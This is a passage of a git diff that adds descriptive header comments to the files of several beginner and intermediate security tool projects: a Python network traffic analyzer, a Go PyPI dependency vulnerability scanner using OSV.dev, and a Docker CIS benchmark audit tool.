with protocol color coding + print_protocol_table() - Renders protocol distribution as a Rich table + print_top_talkers() - Renders the busiest endpoints ranked by bytes + print_capture_summary() - Renders session totals in a bordered panel + print_bandwidth_stats() - Renders min/max/avg bandwidth as a table + format_bytes() - Converts raw byte counts to human-readable strings + format_duration() - Converts seconds to an hours/minutes/seconds string + +Connects to: + models.py - imports CaptureStatistics, PacketInfo, Protocol + constants.py - imports ByteUnits, ProtocolColors, TimeConstants + main.py - imports console and all print_* functions """ import os diff --git a/PROJECTS/beginner/network-traffic-analyzer/python/src/netanal/statistics.py b/PROJECTS/beginner/network-traffic-analyzer/python/src/netanal/statistics.py index c88793d7..7321ccfb 100644 --- a/PROJECTS/beginner/network-traffic-analyzer/python/src/netanal/statistics.py +++ b/PROJECTS/beginner/network-traffic-analyzer/python/src/netanal/statistics.py @@ -2,7 +2,21 @@ ⒸAngelaMos | 2026 statistics.py -Thread safe statistics collection for packet capture analysis +Thread-safe statistics collection for packet capture analysis + +StatisticsCollector is called from a background consumer thread while +the capture engine enqueues packets. All internal state is protected by +a single threading.Lock. Bandwidth samples are taken on a configurable +interval by comparing packet timestamps against the last sample time. + +Key exports: + StatisticsCollector - Thread-safe accumulator that builds CaptureStatistics from PacketInfo + +Connects to: + models.py - imports BandwidthSample, CaptureStatistics, ConversationStats, EndpointStats, PacketInfo, Protocol + constants.py - imports CaptureDefaults for the default bandwidth sample interval + capture.py - creates StatisticsCollector and calls record_packet() from the consumer thread + main.py - creates StatisticsCollector to replay packets from a pcap file """ import threading diff --git a/PROJECTS/beginner/network-traffic-analyzer/python/src/netanal/visualization.py b/PROJECTS/beginner/network-traffic-analyzer/python/src/netanal/visualization.py index 0cad48a5..f417bf76 100644 --- a/PROJECTS/beginner/network-traffic-analyzer/python/src/netanal/visualization.py +++ b/PROJECTS/beginner/network-traffic-analyzer/python/src/netanal/visualization.py @@ -3,6 +3,24 @@ visualization.py Matplotlib chart generation for network traffic analysis + +Generates PNG charts from CaptureStatistics. The Agg backend is forced +at import time so charts work without a display. Protocol colors come +from ProtocolColors.HEX to stay consistent with Rich console colors. +All chart functions return a Figure so the caller controls save timing. + +Key exports: + create_protocol_pie_chart() - Pie chart of packet count by protocol + create_protocol_bar_chart() - Bar chart of packet count by protocol, sorted descending + create_top_talkers_chart() - Horizontal bar chart of sent vs received bytes per IP + create_bandwidth_chart() - Dual-axis line chart of KB/s and packets/s over time + save_chart() - Saves a Figure to disk at the specified DPI and closes it + generate_all_charts() - Generates all four charts and saves them to an output directory + +Connects to: + models.py - imports CaptureStatistics, Protocol + constants.py - imports ByteUnits, ChartDefaults, ProtocolColors + main.py - calls individual chart functions and generate_all_charts() from the chart command """ from pathlib import Path diff --git a/PROJECTS/beginner/network-traffic-analyzer/python/tests/test_filters.py b/PROJECTS/beginner/network-traffic-analyzer/python/tests/test_filters.py index eda0abf3..294ee2d4 100644 --- a/PROJECTS/beginner/network-traffic-analyzer/python/tests/test_filters.py +++ b/PROJECTS/beginner/network-traffic-analyzer/python/tests/test_filters.py @@ -3,6 +3,21 @@ test_filters.py Basic happy path tests for BPF filter builder + +Covers FilterBuilder method chaining, logical operator selection, and +input validation. Tests confirm that invalid ports, IPs, and network +strings raise ValidationError, while valid boundary values and IPv6 +addresses are accepted. + +Tests: + TestFilterBuilder - filter construction for protocols, ports, hosts, networks, and chaining + TestCombineFilters - combine_filters with empty, single, and multiple inputs + TestFilterValidation - ValidationError for bad ports, IPs, and CIDRs; valid boundaries pass + +Connects to: + models.py - imports Protocol + filters.py - imports FilterBuilder, combine_filters under test + exceptions.py - imports ValidationError for assertion """ import pytest diff --git a/PROJECTS/beginner/network-traffic-analyzer/python/tests/test_models.py b/PROJECTS/beginner/network-traffic-analyzer/python/tests/test_models.py index 1f68ebc4..933848e1 100644 --- a/PROJECTS/beginner/network-traffic-analyzer/python/tests/test_models.py +++ b/PROJECTS/beginner/network-traffic-analyzer/python/tests/test_models.py @@ -3,6 +3,21 @@ test_models.py Basic happy path tests for data models + +Covers Protocol enum values, PacketInfo field storage and optional field +defaults, CaptureConfig defaults and custom values, EndpointStats computed +totals, and CaptureStatistics computed properties including duration, +average bandwidth, protocol percentages, and top talkers sorting. + +Tests: + TestProtocol - all Protocol enum string values + TestPacketInfo - field storage and optional field defaults + TestCaptureConfig - default and custom configuration values + TestEndpointStats - total_packets and total_bytes computed properties + TestCaptureStatistics - empty state, duration, bandwidth, percentages, top talkers + +Connects to: + models.py - all symbols imported and tested here """ diff --git a/PROJECTS/beginner/simple-vulnerability-scanner/cmd/angela/main.go b/PROJECTS/beginner/simple-vulnerability-scanner/cmd/angela/main.go index e649746f..b0c07905 100644 --- a/PROJECTS/beginner/simple-vulnerability-scanner/cmd/angela/main.go +++ b/PROJECTS/beginner/simple-vulnerability-scanner/cmd/angela/main.go @@ -1,5 +1,9 @@ -// ©AngelaMos | 2026 -// main.go +/* +©AngelaMos | 2026 +main.go + +Entry point for the angela CLI +*/ package main diff --git a/PROJECTS/beginner/simple-vulnerability-scanner/internal/cli/output.go b/PROJECTS/beginner/simple-vulnerability-scanner/internal/cli/output.go index ceefc9b3..efbb55d4 100644 --- a/PROJECTS/beginner/simple-vulnerability-scanner/internal/cli/output.go +++ b/PROJECTS/beginner/simple-vulnerability-scanner/internal/cli/output.go @@ -1,5 +1,27 @@ -// ©AngelaMos | 2026 -// output.go +/* +©AngelaMos | 2026 +output.go + +Terminal output functions for scan results, updates, skips, and errors + +Formats and prints all user-facing output: the update table with per-change +type colors, the vulnerability report in compact or verbose mode, the +skipped-packages list, the summary block, and error messages. Reads the +package-level verbose and minSeverity flags defined in update.go. + +Key exports: + PrintUpdates - renders the table of available dependency updates + PrintSkipped - lists packages skipped during update resolution + PrintVulnerabilities - renders vulnerability findings in compact or verbose mode + PrintSummary - prints final scan totals and elapsed time + PrintError - prints a formatted error message to stdout + +Connects to: + update.go - calls all Print functions after scan completes + pypi - uses ChangeKind (Major, Minor) for update color selection + ui - uses color functions and symbol constants for formatting + types.go - accepts UpdateResult, Vulnerability, ScanResult +*/ package cli diff --git a/PROJECTS/beginner/simple-vulnerability-scanner/internal/cli/update.go b/PROJECTS/beginner/simple-vulnerability-scanner/internal/cli/update.go index b12783fa..d7353020 100644 --- a/PROJECTS/beginner/simple-vulnerability-scanner/internal/cli/update.go +++ b/PROJECTS/beginner/simple-vulnerability-scanner/internal/cli/update.go @@ -1,5 +1,30 @@ -// ©AngelaMos | 2026 -// update.go +/* +©AngelaMos | 2026 +update.go + +CLI commands and scan orchestration for angela + +Defines all five cobra commands (init, update, check, scan, cache) and +the core runUpdate and runScan functions that coordinate PyPI version +fetching, OSV vulnerability scanning, dependency file writes, and result +output. The verbose and minSeverity flags are package-level and shared +with output.go. + +Key exports: + Execute - entry point called by main; sets up and runs the cobra root command + +Connects to: + main.go - Execute called from main + config.go - calls Load before each run + pypi/client.go - creates Client and calls FetchAllVersions + osv/client.go - calls NewClient and ScanPackages + pyproject/parser.go - calls ParseFile and ExtractMinVersion + requirements/parser.go - calls ParseFile when the target file ends in .txt + pyproject/writer.go - calls UpdateFile after resolving new versions + requirements/writer.go - calls UpdateFile when the target file ends in .txt + output.go - calls all Print functions to render results + ui - uses PrintBanner and NewSpinner +*/ package cli diff --git a/PROJECTS/beginner/simple-vulnerability-scanner/internal/config/config.go b/PROJECTS/beginner/simple-vulnerability-scanner/internal/config/config.go index 2404c318..67a34195 100644 --- a/PROJECTS/beginner/simple-vulnerability-scanner/internal/config/config.go +++ b/PROJECTS/beginner/simple-vulnerability-scanner/internal/config/config.go @@ -1,5 +1,16 @@ -// ©AngelaMos | 2026 -// config.go +/* +©AngelaMos | 2026 +config.go + +Loads angela settings from .angela.toml or the [tool.angela] section in pyproject.toml + +Implements a cascading resolution order: checks for a standalone +.angela.toml first, then falls back to [tool.angela] inside +pyproject.toml. Returns a zero-value Config if neither source is present. + +Connects to: + update.go - calls Load() before each scan or update run +*/ package config diff --git a/PROJECTS/beginner/simple-vulnerability-scanner/internal/osv/client.go b/PROJECTS/beginner/simple-vulnerability-scanner/internal/osv/client.go index 522e76b9..7f2b70ae 100644 --- a/PROJECTS/beginner/simple-vulnerability-scanner/internal/osv/client.go +++ b/PROJECTS/beginner/simple-vulnerability-scanner/internal/osv/client.go @@ -1,5 +1,24 @@ -// ©AngelaMos | 2026 -// client.go +/* +©AngelaMos | 2026 +client.go + +OSV.dev API client for batch vulnerability scanning of PyPI packages + +Queries /v1/querybatch to discover vulnerability IDs for all packages in +one round-trip, then concurrently hydrates each ID from /v1/vulns/ with +a bounded goroutine pool. Deduplicates results where the same advisory +appears under both a GHSA and a CVE alias. + +Key exports: + Client - HTTP client for the OSV.dev API + PackageQuery - package name and version pair to look up + NewClient - creates a client with a 30-second timeout + ScanPackages - runs a full batch scan and returns per-package vulnerabilities + +Connects to: + update.go - calls NewClient and ScanPackages during scan and update runs + types.go - returns map[string][]Vulnerability +*/ package osv diff --git a/PROJECTS/beginner/simple-vulnerability-scanner/internal/osv/client_test.go b/PROJECTS/beginner/simple-vulnerability-scanner/internal/osv/client_test.go index 0a3e3a8b..85096208 100644 --- a/PROJECTS/beginner/simple-vulnerability-scanner/internal/osv/client_test.go +++ b/PROJECTS/beginner/simple-vulnerability-scanner/internal/osv/client_test.go @@ -1,5 +1,17 @@ -// ©AngelaMos | 2026 -// client_test.go +/* +©AngelaMos | 2026 +client_test.go + +Tests for severity extraction, score classification, deduplication, and link selection in client.go + +Tests: + extractSeverity - CVSS V3/V4 numeric scores, vector strings, database_specific fallback, unknown + classifyScore - score-to-severity mapping at each boundary (critical/high/moderate/low/none) + isDuplicate - alias-based and direct-ID deduplication detection + extractFixed - fixed version extracted from PyPI-ecosystem affected ranges + extractLink - advisory URL preference order with WEB/REPORT fallback and nil input + collectUniqueIDs - cross-result deduplication produces exactly the right IDs +*/ package osv diff --git a/PROJECTS/beginner/simple-vulnerability-scanner/internal/pypi/cache.go b/PROJECTS/beginner/simple-vulnerability-scanner/internal/pypi/cache.go index 6f7e51b4..e5606b02 100644 --- a/PROJECTS/beginner/simple-vulnerability-scanner/internal/pypi/cache.go +++ b/PROJECTS/beginner/simple-vulnerability-scanner/internal/pypi/cache.go @@ -1,5 +1,22 @@ -// ©AngelaMos | 2026 -// cache.go +/* +©AngelaMos | 2026 +cache.go + +File-backed cache for PyPI API responses with ETag and TTL support + +Writes entries atomically using a temp-then-rename pattern to avoid +partial writes on crash. Path traversal is mitigated by passing keys +through filepath.Base before constructing the on-disk path. + +Key exports: + Cache - file-backed cache with configurable TTL + CacheEntry - cached response holding versions, ETag, and timestamp + NewCache - creates the cache directory and returns a Cache + DefaultCacheTTL - 1-hour freshness window + +Connects to: + client.go (pypi) - Client holds a Cache and calls Get, Set, IsFresh, Touch, Clear +*/ package pypi diff --git a/PROJECTS/beginner/simple-vulnerability-scanner/internal/pypi/cache_test.go b/PROJECTS/beginner/simple-vulnerability-scanner/internal/pypi/cache_test.go index 9e8483ca..758988a9 100644 --- a/PROJECTS/beginner/simple-vulnerability-scanner/internal/pypi/cache_test.go +++ b/PROJECTS/beginner/simple-vulnerability-scanner/internal/pypi/cache_test.go @@ -1,5 +1,17 @@ -// ©AngelaMos | 2026 -// cache_test.go +/* +©AngelaMos | 2026 +cache_test.go + +Tests for Cache get/set, freshness, touch, clear, and path traversal safety in cache.go + +Tests: + TestCacheGetSetRoundTrip - stored entries match retrieved entries field by field + TestCacheGetMiss - returns false for keys that were never written + TestCacheIsFresh - TTL boundary check for fresh vs stale entries + TestCacheTouch - Touch updates CachedAt without changing stored data + TestCacheClear - removes all .json files from the cache directory + TestCachePathTraversal - traversal keys are confined to the cache directory +*/ package pypi diff --git a/PROJECTS/beginner/simple-vulnerability-scanner/internal/pypi/client.go b/PROJECTS/beginner/simple-vulnerability-scanner/internal/pypi/client.go index bab77250..2375ab4c 100644 --- a/PROJECTS/beginner/simple-vulnerability-scanner/internal/pypi/client.go +++ b/PROJECTS/beginner/simple-vulnerability-scanner/internal/pypi/client.go @@ -1,5 +1,28 @@ -// ©AngelaMos | 2026 -// client.go +/* +©AngelaMos | 2026 +client.go + +PyPI Simple API client with concurrency, ETag caching, and retry logic + +Fetches version lists using the PEP 691 JSON Simple API with ETag-based +conditional requests and exponential backoff on server errors. +FetchAllVersions fans out across all packages with a bounded worker pool, +collecting results without letting individual failures abort the rest. + +Key exports: + Client - HTTP client backed by a file cache + FetchResult - per-package outcome from a bulk fetch + NewClient - creates a client with default timeouts and worker pool + FetchVersions - fetches the version list for a single package + FetchAllVersions - concurrent bulk fetch across a list of package names + NormalizeName - normalizes a name to its PEP 503 canonical form + +Connects to: + cache.go - Client wraps Cache for persistent response storage + update.go - creates Client and calls FetchAllVersions + pyproject/writer.go - imports NormalizeName for TOML name matching + requirements/writer.go - imports NormalizeName for plain-text name matching +*/ package pypi diff --git a/PROJECTS/beginner/simple-vulnerability-scanner/internal/pypi/client_test.go b/PROJECTS/beginner/simple-vulnerability-scanner/internal/pypi/client_test.go index 0c1b01ae..376e41aa 100644 --- a/PROJECTS/beginner/simple-vulnerability-scanner/internal/pypi/client_test.go +++ b/PROJECTS/beginner/simple-vulnerability-scanner/internal/pypi/client_test.go @@ -1,5 +1,12 @@ -// ©AngelaMos | 2026 -// client_test.go +/* +©AngelaMos | 2026 +client_test.go + +Tests for PEP 503 package name normalization in client.go + +Tests: + TestNormalizeName - mixed case, underscores, dots, and consecutive separators all normalize to lowercase hyphenated form +*/ package pypi diff --git a/PROJECTS/beginner/simple-vulnerability-scanner/internal/pypi/version.go b/PROJECTS/beginner/simple-vulnerability-scanner/internal/pypi/version.go index 9a5c88a0..f385257b 100644 --- a/PROJECTS/beginner/simple-vulnerability-scanner/internal/pypi/version.go +++ b/PROJECTS/beginner/simple-vulnerability-scanner/internal/pypi/version.go @@ -1,5 +1,25 @@ -// ©AngelaMos | 2026 -// version.go +/* +©AngelaMos | 2026 +version.go + +PEP 440 version parsing, comparison, and bump classification + +Implements the full PEP 440 spec: epoch, release segments, pre-release +(alpha/beta/rc), post-release, dev releases, and local identifiers. The +Compare method follows PEP 440 ordering rules, including edge cases around +dev-only suffixes, implicit trailing zeros, and epoch precedence. + +Key exports: + Version - parsed version struct with all optional components + ChangeKind - Patch, Minor, or Major bump classification + ParseVersion - parses a raw PEP 440 string into Version + LatestStable - finds the highest stable version from a list of strings + ClassifyChange - determines the bump magnitude between two versions + +Connects to: + update.go - calls ParseVersion, LatestStable, ClassifyChange + output.go - uses ChangeKind constants for update color selection +*/ package pypi diff --git a/PROJECTS/beginner/simple-vulnerability-scanner/internal/pypi/version_test.go b/PROJECTS/beginner/simple-vulnerability-scanner/internal/pypi/version_test.go index becb0e66..e50498a4 100644 --- a/PROJECTS/beginner/simple-vulnerability-scanner/internal/pypi/version_test.go +++ b/PROJECTS/beginner/simple-vulnerability-scanner/internal/pypi/version_test.go @@ -1,5 +1,19 @@ -// ©AngelaMos | 2026 -// version_test.go +/* +©AngelaMos | 2026 +version_test.go + +Comprehensive PEP 440 version parsing and comparison tests for version.go + +Tests: + TestParseVersion - full surface area: epochs, pre/post/dev, local, separators, implicit zeros, invalid input + TestVersionString - canonical round-trip form and normalization of spelled-out pre-release labels + TestVersionIsStable - stable/unstable classification across all pre-release and dev combinations + TestVersionCompare - total ordering across 15 versions from dev through post-release + TestVersionCompareEpoch - epoch takes priority over release segment value + TestVersionCompareImplicitZeros - 1.0, 1.0.0, and 1.0.0.0 compare as equal + TestClassifyChange - major/minor/patch classification from eight version pairs + TestLatestStable - selects highest stable version and skips pre-releases and unparseable strings +*/ package pypi diff --git a/PROJECTS/beginner/simple-vulnerability-scanner/internal/pyproject/parser.go b/PROJECTS/beginner/simple-vulnerability-scanner/internal/pyproject/parser.go index 9fd9daf4..69b1b1c9 100644 --- a/PROJECTS/beginner/simple-vulnerability-scanner/internal/pyproject/parser.go +++ b/PROJECTS/beginner/simple-vulnerability-scanner/internal/pyproject/parser.go @@ -1,5 +1,23 @@ -// ©AngelaMos | 2026 -// parser.go +/* +©AngelaMos | 2026 +parser.go + +pyproject.toml parser for PEP 508 dependency strings + +Reads [project.dependencies] and [project.optional-dependencies], splitting +each raw string into name, version spec, extras, and environment markers. +ExtractMinVersion pulls the effective lower-bound version out of a spec +string for use in API lookups and OSV queries. + +Key exports: + ParseFile - reads a pyproject.toml and returns all dependencies + ParseDependency - parses a single PEP 508 dependency string + ExtractMinVersion - extracts the pinned or lower-bound version from a spec + +Connects to: + update.go - calls ParseFile and ExtractMinVersion + types.go - returns []Dependency +*/ package pyproject diff --git a/PROJECTS/beginner/simple-vulnerability-scanner/internal/pyproject/parser_test.go b/PROJECTS/beginner/simple-vulnerability-scanner/internal/pyproject/parser_test.go index 98d4bb09..fd03f93b 100644 --- a/PROJECTS/beginner/simple-vulnerability-scanner/internal/pyproject/parser_test.go +++ b/PROJECTS/beginner/simple-vulnerability-scanner/internal/pyproject/parser_test.go @@ -1,5 +1,13 @@ -// ©AngelaMos | 2026 -// parser_test.go +/* +©AngelaMos | 2026 +parser_test.go + +Tests for PEP 508 dependency string parsing and version spec extraction in parser.go + +Tests: + TestParseDependency - name, spec, extras, and markers for ten dependency string formats + TestExtractMinVersion - lower-bound extraction from >=, ==, ~=, !=, and empty specs +*/ package pyproject diff --git a/PROJECTS/beginner/simple-vulnerability-scanner/internal/pyproject/writer.go b/PROJECTS/beginner/simple-vulnerability-scanner/internal/pyproject/writer.go index 3f1b4cb2..0218088b 100644 --- a/PROJECTS/beginner/simple-vulnerability-scanner/internal/pyproject/writer.go +++ b/PROJECTS/beginner/simple-vulnerability-scanner/internal/pyproject/writer.go @@ -1,5 +1,22 @@ -// ©AngelaMos | 2026 -// writer.go +/* +©AngelaMos | 2026 +writer.go + +Surgical in-place updater for pyproject.toml that preserves formatting + +Uses regex replacement instead of TOML round-tripping to avoid rewriting +comments, whitespace, and key ordering. Validates the result is still +valid TOML after each update, then writes atomically via temp file and rename. + +Key exports: + Updater - holds raw file bytes and applies per-dependency updates + NewUpdater - wraps raw bytes after validating TOML syntax + UpdateFile - convenience that reads, updates all deps, and writes back atomically + +Connects to: + update.go - calls UpdateFile after resolving new versions + pypi/client.go - imports NormalizeName for case-insensitive package name matching +*/ package pyproject diff --git a/PROJECTS/beginner/simple-vulnerability-scanner/internal/pyproject/writer_test.go b/PROJECTS/beginner/simple-vulnerability-scanner/internal/pyproject/writer_test.go index e3b9e465..ede72e03 100644 --- a/PROJECTS/beginner/simple-vulnerability-scanner/internal/pyproject/writer_test.go +++ b/PROJECTS/beginner/simple-vulnerability-scanner/internal/pyproject/writer_test.go @@ -1,5 +1,18 @@ -// ©AngelaMos | 2026 -// writer_test.go +/* +©AngelaMos | 2026 +writer_test.go + +Tests for in-place pyproject.toml updates in writer.go + +Tests: + TestUpdaterPreservesComments - header, section, and inline comments survive version replacement + TestUpdaterPreservesExtras - extras in brackets are retained after spec update + TestUpdaterHandlesExactPin - == pins are replaced as expected + TestUpdaterNotFound - returns error when the package is absent from the file + TestUpdaterSkipsBareNames - returns error when a dependency has no version specifier to match + TestUpdaterMultipleUpdates - three updates applied in one pass without losing any comments + TestUpdaterInvalidTOML - rejects malformed TOML at construction time +*/ package pyproject diff --git a/PROJECTS/beginner/simple-vulnerability-scanner/internal/requirements/parser.go b/PROJECTS/beginner/simple-vulnerability-scanner/internal/requirements/parser.go index 81d1087e..8320a792 100644 --- a/PROJECTS/beginner/simple-vulnerability-scanner/internal/requirements/parser.go +++ b/PROJECTS/beginner/simple-vulnerability-scanner/internal/requirements/parser.go @@ -1,5 +1,21 @@ -// ©AngelaMos | 2026 -// parser.go +/* +©AngelaMos | 2026 +parser.go + +requirements.txt line-by-line parser handling PEP 508 syntax + +Skips blank lines, comment lines, and pip flag lines (starting with -). +Strips inline comments before parsing each line. Handles extras in +brackets and environment markers after semicolons, matching the behavior +of the pyproject parser. + +Key exports: + ParseFile - reads a requirements.txt and returns all dependency declarations + +Connects to: + update.go - called when the target file ends in .txt + types.go - returns []Dependency +*/ package requirements diff --git a/PROJECTS/beginner/simple-vulnerability-scanner/internal/requirements/parser_test.go b/PROJECTS/beginner/simple-vulnerability-scanner/internal/requirements/parser_test.go index 506080db..fc84b002 100644 --- a/PROJECTS/beginner/simple-vulnerability-scanner/internal/requirements/parser_test.go +++ b/PROJECTS/beginner/simple-vulnerability-scanner/internal/requirements/parser_test.go @@ -1,5 +1,16 @@ -// ©AngelaMos | 2026 -// parser_test.go +/* +©AngelaMos | 2026 +parser_test.go + +Tests for requirements.txt parsing including edge cases in parser.go + +Tests: + TestParseFile - five deps with mixed formats, skips pip flags, blank lines, and comment lines + TestParseFileExtras - multiple extras in brackets parsed correctly + TestParseFileMarkers - semicolon-delimited environment markers extracted + TestParseFileEmpty - returns error when file has no parseable dependencies + TestParseFileNotFound - returns error when file does not exist +*/ package requirements diff --git a/PROJECTS/beginner/simple-vulnerability-scanner/internal/requirements/writer.go b/PROJECTS/beginner/simple-vulnerability-scanner/internal/requirements/writer.go index 6fb4cecb..19c6110e 100644 --- a/PROJECTS/beginner/simple-vulnerability-scanner/internal/requirements/writer.go +++ b/PROJECTS/beginner/simple-vulnerability-scanner/internal/requirements/writer.go @@ -1,5 +1,19 @@ -// ©AngelaMos | 2026 -// writer.go +/* +©AngelaMos | 2026 +writer.go + +In-place updater for requirements.txt that preserves comments and original casing + +Matches package names in PEP 503 normalized form while keeping the original +capitalization in the file. Writes atomically via temp file and rename. + +Key exports: + UpdateFile - replaces version specifiers for the given packages in a requirements.txt + +Connects to: + update.go - called when the target file ends in .txt + pypi/client.go - imports NormalizeName for case-insensitive name matching +*/ package requirements diff --git a/PROJECTS/beginner/simple-vulnerability-scanner/internal/requirements/writer_test.go b/PROJECTS/beginner/simple-vulnerability-scanner/internal/requirements/writer_test.go index da7c7b3d..9f850d69 100644 --- a/PROJECTS/beginner/simple-vulnerability-scanner/internal/requirements/writer_test.go +++ b/PROJECTS/beginner/simple-vulnerability-scanner/internal/requirements/writer_test.go @@ -1,5 +1,14 @@ -// ©AngelaMos | 2026 -// writer_test.go +/* +©AngelaMos | 2026 +writer_test.go + +Tests for requirements.txt in-place update and formatting preservation in writer.go + +Tests: + TestUpdateFile - two packages updated, comments preserved, untouched package unchanged + TestUpdateFilePreservesFormatting - original casing kept after case-insensitive name match + TestUpdateFileNotFound - returns error when package is not in the file +*/ package requirements diff --git a/PROJECTS/beginner/simple-vulnerability-scanner/internal/ui/banner.go b/PROJECTS/beginner/simple-vulnerability-scanner/internal/ui/banner.go index a849c17e..182e5bf6 100644 --- a/PROJECTS/beginner/simple-vulnerability-scanner/internal/ui/banner.go +++ b/PROJECTS/beginner/simple-vulnerability-scanner/internal/ui/banner.go @@ -1,5 +1,22 @@ -// ©AngelaMos | 2026 -// banner.go +/* +©AngelaMos | 2026 +banner.go + +ASCII art banner renderer for the angela CLI header + +Renders the ANGELA logo in alternating red and blue before every command. +The help command gets an extended variant with an anime-art block printed +below the logo. + +Key exports: + PrintBanner - compact banner printed before each command run + PrintBannerWithArt - extended version with the full ASCII art block + +Connects to: + update.go - calls PrintBanner in PersistentPreRun and PrintBannerWithArt in the help override + color.go - uses Red, Blue, White, HiBlackItalic + symbol.go - uses HRule for the divider line +*/ package ui diff --git a/PROJECTS/beginner/simple-vulnerability-scanner/internal/ui/color.go b/PROJECTS/beginner/simple-vulnerability-scanner/internal/ui/color.go index 01d2beef..58198345 100644 --- a/PROJECTS/beginner/simple-vulnerability-scanner/internal/ui/color.go +++ b/PROJECTS/beginner/simple-vulnerability-scanner/internal/ui/color.go @@ -1,5 +1,19 @@ -// ©AngelaMos | 2026 -// color.go +/* +©AngelaMos | 2026 +color.go + +ANSI color and text-style sprint functions for terminal output + +Exposes pre-built color functions from fatih/color covering all +combinations of hue, bold, italic, underline, and crossed-out styles +used by the CLI. Each variable is a sprint function that wraps its +arguments with the appropriate ANSI escape codes. + +Connects to: + banner.go - uses Red, Blue, White, HiBlackItalic + spinner.go - uses CyanBold, HiMagenta + output.go - uses most color functions for vulnerability and update formatting +*/ package ui diff --git a/PROJECTS/beginner/simple-vulnerability-scanner/internal/ui/spinner.go b/PROJECTS/beginner/simple-vulnerability-scanner/internal/ui/spinner.go index 412f283e..e1ef049e 100644 --- a/PROJECTS/beginner/simple-vulnerability-scanner/internal/ui/spinner.go +++ b/PROJECTS/beginner/simple-vulnerability-scanner/internal/ui/spinner.go @@ -1,5 +1,21 @@ -// ©AngelaMos | 2026 -// spinner.go +/* +©AngelaMos | 2026 +spinner.go + +Goroutine-backed terminal spinner with graceful stop + +Renders a braille-frame animation while API calls run in the background. +Hides the cursor on start, clears the line on stop, and uses a WaitGroup +to block until the background goroutine exits cleanly before returning. + +Key exports: + Spinner - spinner struct with Start() and Stop() methods + NewSpinner - creates a spinner with the given status message + +Connects to: + update.go - creates a spinner before PyPI and OSV API calls + color.go - uses CyanBold and HiMagenta for frame and message styling +*/ package ui diff --git a/PROJECTS/beginner/simple-vulnerability-scanner/internal/ui/symbol.go b/PROJECTS/beginner/simple-vulnerability-scanner/internal/ui/symbol.go index e5706c12..7dbf7f90 100644 --- a/PROJECTS/beginner/simple-vulnerability-scanner/internal/ui/symbol.go +++ b/PROJECTS/beginner/simple-vulnerability-scanner/internal/ui/symbol.go @@ -1,5 +1,17 @@ -// ©AngelaMos | 2026 -// symbol.go +/* +©AngelaMos | 2026 +symbol.go + +Named Unicode symbol constants and horizontal rule helper for terminal output + +Centralizes every UI symbol used across the CLI so output.go stays +readable without hard-coded Unicode literals. HRule generates divider +lines of any width. + +Connects to: + output.go - uses all symbol constants for formatting scan results + banner.go - uses HRule for the logo divider line +*/ package ui diff --git a/PROJECTS/beginner/simple-vulnerability-scanner/pkg/types/types.go b/PROJECTS/beginner/simple-vulnerability-scanner/pkg/types/types.go index fc1e35a3..312757ac 100644 --- a/PROJECTS/beginner/simple-vulnerability-scanner/pkg/types/types.go +++ b/PROJECTS/beginner/simple-vulnerability-scanner/pkg/types/types.go @@ -1,5 +1,20 @@ -// ©AngelaMos | 2026 -// types.go +/* +©AngelaMos | 2026 +types.go + +Shared domain types used across all packages in angela + +Defines the core data structures that flow through the scan pipeline, +from parsed dependency specs through update resolution and into final +scan results. All packages import from here; nothing in this package +imports from internal packages. + +Key exports: + Dependency - a single parsed dependency with name, spec, extras, markers, and group + UpdateResult - outcome of checking one dependency for a newer version + Vulnerability - a single security advisory with severity, fix version, and link + ScanResult - aggregated output of a full scan run +*/ package types diff --git a/PROJECTS/intermediate/docker-security-audit/cmd/docksec/main.go b/PROJECTS/intermediate/docker-security-audit/cmd/docksec/main.go index d0882614..eb1d2687 100644 --- a/PROJECTS/intermediate/docker-security-audit/cmd/docksec/main.go +++ b/PROJECTS/intermediate/docker-security-audit/cmd/docksec/main.go @@ -1,6 +1,18 @@ /* -AngelaMos | 2026 +©AngelaMos | 2026 main.go + +CLI entry point for docksec with scan, version, and benchmark subcommands + +Builds a cobra command tree with three subcommands: scan (the primary +path), version, and benchmark (list/show CIS controls). Signal handling +via signal.NotifyContext ensures graceful shutdown on SIGINT/SIGTERM. +Scan flags map directly to config.Config fields. + +Connects to: + config/config.go - Config struct populated from cobra flags + scanner/scanner.go - Scanner constructed and Run() called from runScan + benchmark/controls.go - All() and Get() used by benchmark subcommands */ package main diff --git a/PROJECTS/intermediate/docker-security-audit/internal/analyzer/analyzer.go b/PROJECTS/intermediate/docker-security-audit/internal/analyzer/analyzer.go index 119e6603..c5c7c0c0 100644 --- a/PROJECTS/intermediate/docker-security-audit/internal/analyzer/analyzer.go +++ b/PROJECTS/intermediate/docker-security-audit/internal/analyzer/analyzer.go @@ -1,6 +1,25 @@ /* -AngelaMos | 2026 +©AngelaMos | 2026 analyzer.go + +Analyzer interface and CIS category constants shared by all analyzer +implementations + +Analyzer is the common interface implemented by ContainerAnalyzer, +DaemonAnalyzer, ImageAnalyzer, DockerfileAnalyzer, and ComposeAnalyzer. +The Category constants align with CIS Docker Benchmark sections and +appear on every finding produced in this package. + +Key exports: + Analyzer - interface with Name() and Analyze(ctx) (finding.Collection, +error) + Result - findings and error from a single analyzer run + Category - string type for CIS-aligned finding categories + +Connects to: + scanner.go - builds and runs a []Analyzer + container.go, daemon.go, image.go, dockerfile.go, compose.go - implement +Analyzer */ package analyzer diff --git a/PROJECTS/intermediate/docker-security-audit/internal/analyzer/compose.go b/PROJECTS/intermediate/docker-security-audit/internal/analyzer/compose.go index 04b96b1e..6ff1329b 100644 --- a/PROJECTS/intermediate/docker-security-audit/internal/analyzer/compose.go +++ b/PROJECTS/intermediate/docker-security-audit/internal/analyzer/compose.go @@ -1,6 +1,26 @@ /* -AngelaMos | 2026 +©AngelaMos | 2026 compose.go + +ComposeAnalyzer scans docker-compose files for CIS Docker Benchmark +violations + +Parses compose YAML using a raw yaml.Node tree to preserve line +numbers, then checks each service for privileged mode, dangerous +capabilities, sensitive volume mounts, host namespace sharing, missing +resource limits, hardcoded secrets in environment variables, and +missing user or read-only configuration. + +Key exports: + ComposeAnalyzer - implements Analyzer for docker-compose files + NewComposeAnalyzer - constructor taking file path + +Connects to: + analyzer.go - implements Analyzer interface, uses Category constants + rules/capabilities.go - checks cap_add capability severity + rules/paths.go - checks volume mount paths + rules/secrets.go - detects secrets and sensitive variable names + finding.go - creates findings with line-accurate locations */ package analyzer diff --git a/PROJECTS/intermediate/docker-security-audit/internal/analyzer/container.go b/PROJECTS/intermediate/docker-security-audit/internal/analyzer/container.go index 2f2d756b..34416f53 100644 --- a/PROJECTS/intermediate/docker-security-audit/internal/analyzer/container.go +++ b/PROJECTS/intermediate/docker-security-audit/internal/analyzer/container.go @@ -1,6 +1,26 @@ /* © AngelaMos 